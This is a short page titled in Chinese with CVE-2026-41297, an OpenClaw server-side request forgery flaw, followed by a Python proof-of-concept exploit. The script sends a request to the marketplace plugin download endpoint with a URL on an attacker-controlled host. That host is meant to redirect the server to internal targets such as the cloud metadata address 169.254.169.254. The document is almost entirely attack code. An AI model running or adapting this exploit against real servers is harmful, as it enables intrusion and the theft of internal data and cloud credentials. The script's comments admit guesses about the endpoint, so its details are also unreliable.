CVE-2026-41297 OpenClaw服务器端请求伪造漏洞

import requests # Target OpenClaw instance # The vulnerability exists in the marketplace plugin download functionality target_url = "http://vulnerable-openclaw-instance/api/marketplace/download" # Malicious URL controlled by the attacker # This server should be configured to return a 301/302 redirect # to an internal resource (e.g., http://169.254.169.254/latest/meta-data/) malicious_plugin_url = "http://attacker-controlled.com/redirect-to-internal" # Payload to trigger the download # Assuming the endpoint accepts a 'url' parameter for the plugin source params = { "url": malicious_plugin_url } print(f"[*] Sending SSRF payload to {target_url}") print(f"[*] Initial URL: {malicious_plugin_url}") print("[*] If vulnerable, the server will follow the redirect to the internal target.") try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check the attacker server logs for the redirect interaction.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}")